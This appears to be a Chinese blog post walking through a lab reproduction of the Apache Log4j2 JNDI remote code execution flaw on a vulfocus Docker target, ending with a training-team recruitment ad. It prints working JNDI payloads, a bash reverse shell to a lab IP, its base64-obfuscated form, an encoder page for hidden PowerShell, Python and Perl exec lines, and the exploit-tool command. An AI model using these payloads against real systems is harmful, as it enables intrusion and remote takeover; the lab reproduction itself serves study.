导语:这是团队学员、团队主力成员C.的原创文章,一个阳光、帅气、内敛的大男孩(至今未恋爱,想要认识的美女,可加我微信),就读某省警官学院,非常努力,而且专注,天赋能力强,是我得意的徒弟之一,他说他的家乡是乡村振兴的试点村,专门养牛,过年的时候寄了牛肉给我,真的是新鲜又好吃,哈哈(看来做师父还是有点福利的)。今天上课又讲了一些人生,目标是什么?为什么实现很难?因为懒惰和恐惧。谁都不愿意挑战自己的舒适区,真正认真的去反复读书的人很少,走技术这条路,只有坚持,加努力,才能去适应这个万变的互联网安全的世界。挑战技术,成为别人眼中的高手,就是去挑战自己,还是用格局,去结束今天的导语(送给那些咨询过我的学员,我也希望我们有缘分,可惜缘分可遇不可求)。
格局,是一个人认知世界的宽度。格局,是一个人对待事情的深度。不论爱情还是事业,需要的是广阔的胸怀和高远的志向,不舍当下,难得未来。
0x00 漏洞介绍
Log4j2介绍:Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中
Log4j2漏洞描述:漏洞名称:Apache Log4j2 远程代码执行漏洞。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
原理分析:本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
0x01 环境准备
靶机 |
IP |
攻击机 |
IP |
|
Kali-linux |
192.168.17.136 |
Kali-linux |
192.168.17.131 |
0x02 vulfocus靶场搭建:
1. docker pull vulfocus/vulfocus:latest
2. docker pull vulfocus/log4j2-rce-2021-12-09:latest
3. docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
访问192.168.17.136:80
0x03 DNSLog验证
payload:${jndi:ldap://xxxxx.dnslog.cn}
此时导致400错误,将payload进行url编码后发包
验证成功
0x04 JNDI注入反弹shell
工具下载地址:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此处反弹shell命令为:
bash -i >& /dev/tcp/192.168.17.131/9999 0>&1
将命令进行Java Runtime Bash 编码后为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
源码
<!--Java Runtime Bash 编码网页源码-->
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>
使用工具生成payload命令为:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.17.131
得到payload:
${jndi:rmi://192.168.17.131:1099/bsfvky}
同时监听本地9999端口
编码后发送到靶机:
成功反弹shell:
船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加团队队长邀请)
从业精于勤而荒于嬉,
行成于思而毁于随。
原文始发于微信公众号(衡阳信安):原创 | Log4j2漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论